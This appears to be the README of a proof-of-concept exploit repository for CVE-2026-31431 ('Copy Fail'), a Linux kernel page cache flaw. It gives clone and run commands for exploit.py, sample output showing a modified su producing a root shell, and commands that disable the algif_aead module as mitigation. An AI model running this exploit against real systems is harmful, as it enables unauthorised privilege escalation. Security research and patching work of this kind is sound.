
CVE-2026-31431 - Linux Kernel Page Cache Vulnerability
This project is provided strictly for:
The author and contributors are NOT responsible for misuse, damages, data loss, service interruption, or any illegal activities performed using this software.
Proof-of-concept research tool for CVE-2026-31431, also known as "Copy Fail", a Linux kernel vulnerability affecting the algif_aead / authencesn AEAD implementation.
The vulnerability may allow page cache corruption under specific conditions, potentially leading to local privilege escalation on vulnerable systems.
Clone the repository:
git clone https://github.com/Lutfifakee-Project/CVE-2026-31431.git
cd CVE-2026-31431
python3 exploit.py
python3 exploit.py --exploit
When prompted:
Type 'YES' to continue
python3 exploit.py --cleanup
python3 exploit.py --help
$ python3 exploit.py --exploit
[!] DANGER ZONE: Exploit mode
Type 'YES' to continue: YES
[*] CVE-2026-31431 Copy Fail Exploit
[+] Page cache patching complete!
[+] Executing modified su...
# id
uid=0(root) gid=1001(user)
If you are a system administrator and need to mitigate exposure:
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null